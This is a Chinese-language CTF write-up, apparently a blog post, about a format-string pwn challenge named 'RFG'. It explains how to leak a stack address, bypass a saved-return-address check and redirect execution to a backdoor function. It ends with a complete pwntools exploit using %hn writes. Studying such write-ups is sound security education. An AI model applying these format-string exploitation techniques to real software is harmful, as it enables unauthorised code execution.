CTF PWN 格式化字符串

CTF PWN格式化字符串

题目名字叫RFG

这是去年刚开始学格式化字符串时做的题,当时完全不会做(太菜了)
今天拿出来复现了一下.

首先拿到题

在这里插入图片描述
可以看到只有PIE没有开
IDA逆向F5 拿到伪C代码
开始分析

在这里插入图片描述
在这里插入图片描述
可以看到存在一个后门函数
进入vuln函数查看

在这里插入图片描述
逻辑比较简单
存在一个格式化字符串漏洞
但是有一个检测
在执行前保存了vuln函数的返回地址
执行结束后进行了一个检验

由于程序没有开启PIE保护
我们可以利用格式化字符串对saved_return_address的值进行任意写
来绕过他的检测

同时可以用任意写来覆盖vuln的返回地址到后门函数

因为返回地址是直接存在栈上的
而要想实现覆盖返回地址
就必须拿到返回地址所在的栈地址

通过gdb调试我们发现
rbp的值存储的是一个栈地址
因此我们可以通过泄露rbp的值
然后计算偏移来得到返回地址所在的栈地址

这是整体的思路

泄露vuln函数返回地址所在的栈地址
修改saved_return_address的值
通过泄露出的栈地址修改vuln函数的返回地址
get shell

详细步骤

-----我是分割线--------

首先是泄露vuln函数返回地址所在的栈地址
使用gdb在vuln函数上下断点
然后运行
输入aaaaaaaa
到printf上使用stack 20查看栈上的数据
可以看到rbp的值是一个栈地址
紧挨着下面的便是返回地址
在这里插入图片描述
绿框是我们要泄露的
红框是我们要进行任意写的地址
同时我们可以算出
返回地址所在的栈地址+24=我们泄露的值

可以算出偏移=6+0xa=0x10(16)
输入"%16$p"就能把rbp的值以指针的形式打印出来

from pwn import *
sh=process("./rfg")
payload=b'%16$p'
sh.send(payload)

在这里插入图片描述
这样就能拿到我们需要进行任意读写的地址了(返回地址所在的栈地址)

rbp=int(sh.recv(),16)#这里有个点,printf是以%p的形式打印出来的,所以接受的时候不需要用u64函数处理,直接当成16进制数据转成int即可
print(hex(rbp))
retaddressOnstack=rbp-0x18
print(hex(rbp))

整个程序共三次循环
第一次循环使用完毕

第二次循环我们可以覆盖变量saved_return_address的值
对比后门函数的地址和正常返回地址
可以看到有两个字节不同
因此可以用%h一次写入两个字节

0x401282 后门函数地址
0x40138F 正常返回地址
因此写入0x1382(4738)个字节即可
payload=b'%4738c%10$hnaaaa'+p64(saveaddress)#aaaa是进行16对齐,后面压入要进行读写的地址,从gdb上可以看到格式化字符串是 saveaddress在第10个参数,因此要填$10
sh.send(payload)

第二次循环结束
检测绕过

第三次循环
我们对返回地址进行读写
用我们第一次泄露得到的栈地址
得到返回函数所在的栈地址
然后和第二次循环一样,任意读写
参数位置也是一样的,因为压入了同一个位置

payload=b'%4738c%10$hnaaaa'+p64(retaddressOnstack)
sh.send(payload)

最终完整exp

from pwn import *
sh=process("./rfg")
retaddress=0x40138f
backdoor=0x401282
saveaddress=0x404050
gdb.attach(sh)
payload=b'%16$p'
sh.send(payload)
rbp=int(sh.recv(),16)
print(hex(rbp))
retaddressOnstack=rbp-0x18
payload=b'%4738c%10$hnaaaa'+p64(saveaddress)
sh.send(payload)
sh.recvuntil("aaaa")
payload=b'%4738c%10$hnaaaa'+p64(retaddressOnstack)
sh.send(payload)
sh.recvuntil("aaaa")

sh.interactive()


  • 10
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值